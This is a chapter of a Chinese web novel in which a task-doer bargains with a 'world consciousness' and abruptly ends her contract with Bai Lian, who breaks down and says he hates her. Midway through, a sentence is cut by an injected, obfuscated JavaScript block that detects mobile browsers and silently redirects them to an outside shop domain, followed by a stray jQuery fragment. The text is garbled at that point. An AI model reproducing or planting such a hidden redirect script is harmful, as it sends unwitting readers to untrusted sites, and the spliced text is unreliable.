沈幼薇在车上被暖气一冲,才想起外套忘拿了。临出门前白廉好像跟她说了句什么,她着急没顾上听。

    消息来得太突然,她必须亲眼去确认裴泽的状态。

    沈幼薇披着乐青的外套,让她把车开回去,别耽误手头的项目合同,自己叫车回就行。说完她轻车熟路穿过走廊,走到VIP病房门口,还没推门就听见里面笑声和哭声搅作一团。

    她叩了两下门,门内安静了一瞬。

    裴母拉开门,眼眶红红的,嘴角却压不住翘。她一看见沈幼薇,立马伸手把人拽了进去:“幼薇!快快进来看看,臭小子睡了快三年,孩子都能叫爸了……我还以为他这辈子都醒不过来了!呜呜呜,幼薇啊,阿姨真要谢谢你。我就说那大师说得没错,你看这小子真醒了,还没傻呢!”

    沈幼薇人还没站稳,就被她拽得脚下一个趔趄。

    “妈!”

    裴泽半靠在床头,撑着胳膊抗议了一声。脸色苍白,嘴唇血色淡,但眼睛格外亮。傅清欢坐在床边椅子上,手里端着半碗粥,另一只手扶着他,泪痕还挂在腮边没擦干净,嘴唇抿紧,拼命压着情绪。

    裴泽看清来人,虚弱地勾了勾嘴角。从小互殴、追三条街只为把知了猴放他脸上的交情,让他哪怕刚醒也改不了嘴欠的毛病。

    “呦,沈幼薇,我这才刚醒你就来了?放心吧,哥有老婆孩子了,不会娶你的。”

    沈幼薇懒得搭理他,拉开椅子坐下来,跷起腿上下打量一圈:“醒了就行,省得外头传我克你。”

    裴泽咳了两声:“那我醒了,你岂不是克不动了。”

    傅清欢在一旁抹了把泪,转头瞪他:“你少说两句行不行,刚醒就这样,人家沈小姐那么忙还抽空来看你。”

    沈幼薇摆摆手:“他这毛病,躺三年也没治好,算了。”

    裴泽喝了口老婆喂的粥,又想开口,被傅清欢一勺子堵了回去。裴母在一旁拍胳膊笑,裴泽一个眼刀甩过来,裴母连忙收声,冲傅清欢摆手:“说岔了,说岔了。清欢你别管,让他挨两句骂,臭小子活该的。”

    傅清欢低头莞尔一笑,把粥碗往裴泽嘴边递。裴泽乖乖张嘴喝了一口,手始终没松开她的。

    沈幼薇瞧着这画面,果断走了。

    裴母追到走廊,往她外套兜里塞了个红包:“福气包,家有喜事见者有份!”

    沈幼薇推了两下没推掉,揣着走了。

    *

    电梯下到一楼,沈幼薇拐进楼梯间,靠上扶手划开面板。

    【任务一:消除原身执念——已完成】

    【任务二:阻止反派白廉成长,防止其提前收购裴家——已完成】

    沈幼薇盯着那行字,沉默三秒。

    “小七。”

    小七从她肩头冒出来,头顶的毛乱糟糟的:【主人……我看到了,统子我也傻了。】

    沈幼薇把面板划走又划回来,反复确认。进度条全满,登出选项该亮了。但底部那行字还灰着:【登出通道:封锁中。预计开启时间:两年半】

    “什么叫封锁中?”沈幼薇语气沉下去。

    小七哆嗦了一下,一秒没耽误,生怕开刀开刀它身上:【主人你别急,我现在立刻联系世界意识!】

    “快点。”

    下一秒,一团暖黄色光球从面板里弹出来,悬在半空。小七变成白球飞过去一头撞了上去,两个球对撞互不服输,直到小七把黄球压到面板上,它才安稳下来。

    “哎呀我说你们!”黄球拉着公鸭嗓,“怎么一上来就撞我?能不能有点礼貌啊!?”

    沈幼薇抬了抬下巴:“作为任务者,你是我第一个请出来的世界意识。”

    小黄球立马拉暗光,舔着笑:“大佬,有话好好说,都能商量的嘛~”

    沈幼薇把面板甩到它面前:“我的任务完成了,登出通道为什么锁着?”

    小黄球晃了晃,清了清嗓:“之前委托您过来,我向您统报备过不明物质对吧?这段时间我查到了。不断重启世界导致部分位面出现世界线紊乱,不明物质就是紊乱后吸收重启能量形成的实体,它们苟在部分世界里,一旦被世界意识抓到就会启动自毁。后果随机影响。”

    沈幼薇勾唇:“按你的意思是,它搞坏了登出通道?”

    “呃……”

    沈幼薇将黄球盘在手心里揉了揉:“你当我傻子吗?”

    小黄球拉着雪白数据泪,试图向小七求助,小七扭头哼了一声。

    小黄球顶着赴死决心全盘托出:“不明物质自毁的时候我启动了特殊模式保住世界线,但也把您锁在了这里。两年半,任务结束时间一到,我保证您的专属通道准时开。”

    沈幼薇盯着它看了几秒,笑了:“你的意思是,我任务做完了,但现在走不了?”

    世界意识缩了缩:“是这个意思……”

    小七插嘴:【那能量呢?说好的九成呢?】

    世界意识黄光猛地拉亮:“九成立马给!但现在通道锁着,你主人带不走啊,能量还得存在我这里一会。”

    沈幼薇顺着楼梯往下走了两级,拍了拍裤子:“结了。两年半我等得起。”

    “但——”世界意识弹了两下,“您等得了,反派等不了啊!”

    沈幼薇的手停在推门上,眼神一沉:“白廉?和他又有什么关系?”

    “大大的有关啊!”世界意识飞到面前,“您任务二是阻止他成长,防止他提前收购裴家。现在裴泽醒了,世界线要归位,但白廉还得走他该走的路。毕业后离开海市积累资本,回来跟裴泽竞争,这是他作为反派存在的意义。他还签在您那儿,合约还有两年。他不走,世界线就推不动。您合约一天不解,他就一天卡在那儿。”

    沈幼薇没接话。

    “不是!”世界意识晃得更剧烈:“您赶紧跟他解约!解完让他自己走剧情,后面的事让我手下世界线推就行啊!”

    “你让我解我就解?”沈幼薇抬眼,“我为什么用合同限制他,你不清楚?管不好世界线搞出补偿机制,你是真不知道我的脾气?我是你请来的任务者,任务完成了我也走不了。你让我解约,凭什么?”

    小黄球哭天喊地:“凭——”

    “凭九成能量我带不走,对吧。”沈幼薇打断它,“我在这干等两年半,没有能量进账,我和小七到时候憋死在你这?”

    小七配合地咳嗽两声,头顶冒出一行小字:【能量余额:0.12%】

    沈幼薇看着它,不说话。

    世界意识沉默了大概十秒,黄光重新亮起来,有点抖:“……三十成。”

    沈幼薇扬了扬眉,推门要走。

    “我给您三十成!”世界意识声音拔高,“把这个世界三分之一的能量都给你!只求你一件事,回去跟白廉解约,放他走。剩下的路他自己走,世界线自己推。”

    沈幼薇没立刻答。绿光映在她侧脸上,小七飞到她手边蹭了蹭:“主人……能量确实不够了,走不了的话,不如……”

    沈幼薇无奈垂眼看了它一眼,不争气的东西:“三十成,现结,任务完成结算的九成,最后给。”

    世界意识长松一口气,黄光里飘出一串金色数据流,流入面板。

    【世界能量到账:30%。当前余额:30.12%】

    沈幼薇看了一眼数字,推开防火门走了出去。

    走廊白光照在肩上,她没说好也没说不好。但世界意识知道她同意了。

    沈幼薇上了车,靠在后座。红灯倒计时的数字一下下跳着,小七趴在她肩头小声问:【主人,你真的要解约吗?那小玥儿……】

    沈幼薇盯着前方:“三十成只是明面上的,带走才是重点。不干,等着真和它鱼死网破?”

    小七“嗯”了一声,没再问了。

    *

    车到郡林西园,雪下得厚。合院门开着,雪花从门缝涌进来,在玄关台阶上积了道薄白的边。

    沈幼薇推门而进,白廉正从厨房端汤碗出来,葱花卤子香气溢出仿若吹走了寒冷,仔细他手上似乎还有热气凝结落下的小水滴。她站在玄关,鞋没换,外套扣子没解,手垂在身侧。

    白廉看见她先愣了几秒,随后弯了弯眼:“乐助理,跟我说,你今晚可能会晚回。没想到,赶早不如赶巧。刚做好的,你尝尝——”

    她抬眸看向那摸过近七百次日夜的眼睛,错觉般觉得他一直亮着光的眼,在此刻有些暗。

    准备好站在门口说的话,被她咽回去。她换鞋解扣子进屋,坐到熟悉的餐桌前,没动筷子,反提起白玥近况。

    白廉挑起面的手顿住,转瞬笑着说。

    说白玥今晚去参加幼儿园同学派对,吐槽现在学校活动真丰富。参加完,有司机会送她回家。

    沈幼薇点头,指尖按到筷子上。自从白玥从医院出院,她向他提议过让白玥搬过来,但白廉坚持再租一套。

    当初,沈幼薇不理解觉得麻烦,还以为他多心,现在想到……真是够有意思的。

    也就是从白玥出院开始吧,仔细一想,他在郡林西园的物品就在一点一点减少。

    孩子还小,平日工作日白天去上学,晚上她没需要白廉就会去出租屋陪着。若有需要,郡林西园专门准备了儿童房,说起来白玥真招人喜欢,王姐似乎都蛮喜欢那孩子来着。

    指尖按在筷子上的手彻底滑落,沈幼薇淡然开口。

    “白廉。我们的合约,提前结束。”

    声音落下那一刻,白廉心里那根绷紧的弦彻底断裂,崩向他早已四分五裂粘好的心。

    他碰着碗壁的手死死靠近,烫,烫点才好。

    可下一秒,他手里攥紧的筷子,就这么从手心落到了地上。

    咔嗒两下,原木的筷子碰到地板连弹两下的挣扎都没有,和他一样。

    “白廉。”沈幼薇没见过他这样子,抬头看向她的眼睛里是死寂和悲凉,像是她见过无数濒死之人,最后挣扎看向天空时一模一样。

    餐桌上方明明是暖色的灯光,但此刻却照不出他脸上一丝血色。

    “白廉!”

    白廉怔愣地看向她,“你再说一遍。”

    沈幼薇发觉出他的奇怪,换了一个说法,

    “我说合约提前结束。你自由了。”

    “自由?”他把这两个字嚼了一遍,声音从喉咙里碾出来,“自由。签了四年,还剩两年,你觉得这样是,放我自由。沈幼薇,按合同规定提前解约要双方同意——”

    “最后一页补充条款有单方毁约,再者你觉得那些对我而言,有用吗?”

    沈幼薇不懂他为什么要这么说,还有他从来没叫过她的全名,这是第一次。

    解除合约,难道不好!?

    砰——

    等她再看向白廉,只见他握紧碗沿的手哐当坠落在身侧,连带着汤碗在桌面上被扯倒晃了一下,洒出小片汤水。

    他猛地起身,拉开她的椅子,将她扯离餐桌几乎半米。

    “白廉,你知道你在做什么吗?”

    白廉听着她的话,眼眶慢慢充血,但嘴角却还记得扬起笑看她。

    他撑着心里仅剩的气,站定在她面前,讥笑说。

    “你今天去看他了。他醒了。所以你连一晚上都等不及?真好啊—”

    沈幼薇不解地看着他,眼底闪过狐疑。

    “什么意

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730082|208745||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    思?白廉,我听不懂。”

    白廉又往前迈了一步,“听不懂?沈小姐,都到现在了。你、一定要我把话放到明面上吗!?”

    筷子在他鞋底碾出细响,“书房文竹旁最高的檀木柜子上,”他的声音开始拔高,像兔子临死前的尖叫,“我签合同那天下午就看见了。我站在书架前面看了五分钟,你站在他旁边,他穿黑西装你穿米色裙子,你们俩站在最中间。”

    沈幼薇睫毛颤动,唇瓣咬紧,极其细微的动作。

    但白廉看见了。

    他看见之后整个人像被抽了一鞭子,以沈幼薇的性格,这种事如果他想错了,那她的反驳与巴掌在他说出口刹那间,一同落到他身上。

    他的世界终于彻底崩塌,声音随之再次拔高:“裴泽,他叫裴泽。海市裴寰集团的继承人,你的青梅竹马,你的未婚夫。”

    说着,他忽地抬起手按在自己眼尾那颗泪痣上,指腹用力往下压。

    “他眼头有一颗痣,我这儿也有一颗。很像不是吗?”

    “不——”

    沈幼薇坐在椅子上,垂在身侧的手微微蜷缩握紧,她没想到他竟然这么想,解释的话已经到了嘴边。但她却改了口,比起白廉的误会,更重要的是他的状态。

    白廉他,竟然爱她。

    他——竟然爱她。

    沈幼薇一瞬间脑海涌现许多画面,帧帧闪过。她的身份,原因,吊桥效应,斯德哥尔摩等等。

    最后,她脑海选定到最优解。

    “不?是不够像吗?”白廉把手放下来,手背蹭上眼角,蹭出湿痕。

    他低头看着手背上那道亮光,整个人僵在原地,他又在她面前哭了。

    “确实,假的又怎么可能变成真的……”

    “你以前不说,做的事却一件一件地在告诉我。还记得那套藏青色西装吗?布料上有着暗纹星空。”见她疑惑,白廉唇边嗤笑,“忘了?”

    “裴泽在海市商会采访视频里穿的就是那件。”

    他的语速越来越快,像水闸被提起来之后水流的势头。

    “后来你带我去晚宴,说我穿它好看。”

    “还有我做的炝锅面,你说咸了,说淡了,后面又说保持就行。他祖籍是嘉市,你小学初中都是和他一起。你嘴里的保持就行,是让我保持那个味道。还是与他吃的味道不一样,与你们青梅竹马的回忆不一样!”

    “白廉,你有毛病——”

    “你让我说完!”他压吼出声,尾音碎在空气里。

    反正她铁了心解约,为什么连最后都不肯反驳他一句,没有。

    吼完,白廉胸膛剧烈起伏,眼眶里的泪终于彻底没兜住,眼泪如珍珠般滑落,沿着颧骨滑到下颌,他不擦,任由它滑入脖颈。

    “你每次摸我眼睛。我根本不知道,你究竟是在看他还是在看我。”

    沈幼薇的嘴唇动了动。

    “我问了自己七百多天。”他的声音降下来了,但哑得厉害,“最后劝自己算了。是啊,就像你说的合约对你又有什么用呢?”

    “我算什么!?沈幼薇,我又算什么!”

    他往后退了半步,直到自己的腰抵住餐桌,脚底的筷子被他鞋尖踢远,滚到沈幼薇的椅子下。

    “沈幼薇,沈小姐,沈总。如果你现在告诉我,说一句不是。”他的眼眶红透了,泪又落下来一道,顺着刚才那道痕迹重合在一起。“你说一句‘白廉你不是替身’,我现在把这碗面吃完,把厨房收拾干净明天早上依旧给你煮粥喝。”

    “甚至你再想解约都可以,你说一句就行。”

    沈幼薇缓缓抬眼平静地迎着他的视线。她知道,她说出这句不是,白廉依然会尊重她的想法解约。

    但后面呢?她给得起吗?她,是个任务者。更何况以白廉这样的状态,哪怕解约,他真的会被世界线推动离开她身边吗?

    沈幼薇,不喜欢做赌徒,从来都不喜欢。

    亲眼看着她闭眼,白廉踉跄地往后一退又退。

    “没有意义。”沈幼薇听见自己的声音,听见他无声地崩溃,“白廉。这一点意义都没有。”

    白廉脸上的表情如同瓷瓶裂缝,蓦然间裂缝随着空气碎得粉碎。他眉心抖动,然后鼻翼翕张,嘴唇抿成一条线,再松开的时候下颌的肌肉全松了。

    他张了张口,没发出声音,又闭上。

    接着他抬头环视四周,试图用眼睛留下点什么。看着餐厅一片狼藉,他肩膀开始抖,一抽一抽的,但泪落在地上的声音比呼吸还轻。

    “好。”他再开口的时候声音像砂纸刮过铁皮。

    他吸了一口气,吸进去之后顿了两秒才呼出来。

    “解约,行。”

    他从口袋里摸出手机,拇指在屏幕上划了两下,电子备份合同页面亮着怼到她眼前。

    屏幕光打在她脸上,他试图再次捕捉她眼底的悲悯。

    没有,一点都没有。

    于是,原本傻冒的举动和脑海里最后的挣扎,还是在他自取其辱与转身就走里,他选择了前者。

    “违约赔三千万。你现在说一句你赔,我立刻滚。”

    沈幼薇的目光落在那行数字上。然后她抬起脸,目光冷漠对上他的眼。

    “三千万。白廉,你是觉得我掏不起,还是想再多要点。”

    “你可以直接把话再说明白点。”

    白廉握着手机的手垂下去了,手机磕在他大腿外侧,屏幕灭了。

    他站在原地,嘴唇嗫嚅,像想说点什么又咽了回去。

    最后他扯了一下嘴角,扯出一个很难看的笑。

    “沈幼薇。”

    “我恨你。”